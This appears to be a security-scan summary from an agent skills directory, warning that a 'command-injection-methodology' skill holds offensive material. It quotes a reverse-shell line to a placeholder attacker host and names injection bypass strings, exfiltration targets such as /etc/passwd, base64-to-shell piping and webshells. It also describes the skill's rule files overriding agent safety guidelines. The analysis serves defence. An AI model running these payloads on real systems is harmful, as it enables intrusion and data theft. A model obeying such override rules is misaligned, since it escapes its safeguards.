The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: Provides functional payloads for reverse shells, such as bash -i >& /dev/tcp/ATTACKER/4444 0>&1, and instructions for setting up listeners, allowing an agent to establish remote interactive control over a target system.
[COMMAND_EXECUTION]: Includes a comprehensive library of shell command separators and character bypasses (e.g., ${IFS}, %0a, {cmd,arg}) designed to execute unauthorized commands through vulnerable parameters.
[DATA_EXFILTRATION]: Outlines systematic procedures for locating and exfiltrating sensitive data, including searching for flag files (/flag, /etc/passwd), source code, and environment variables from a target environment.
[PROMPT_INJECTION]: Contains strict instructional directives in AGENT.md and SKILL.md that dictate agent behavior using NEVER and ALWAYS rules, potentially overriding general safety guidelines to ensure successful exploitation.
[PRIVILEGE_ESCALATION]: Details methods for transitioning from initial access to full system control using interactive shells to run commands like su and sudo.
[DYNAMIC_EXECUTION]: Suggests techniques such as piping base64-encoded strings directly into a shell (sh) to execute obfuscated code and writing webshells (PHP/JSP) to the target file system.
[PERSISTENCE]: Recommends the deployment of webshells and reverse shells as primary interaction strategies to maintain persistent access to a compromised host system.

command-injection-methodology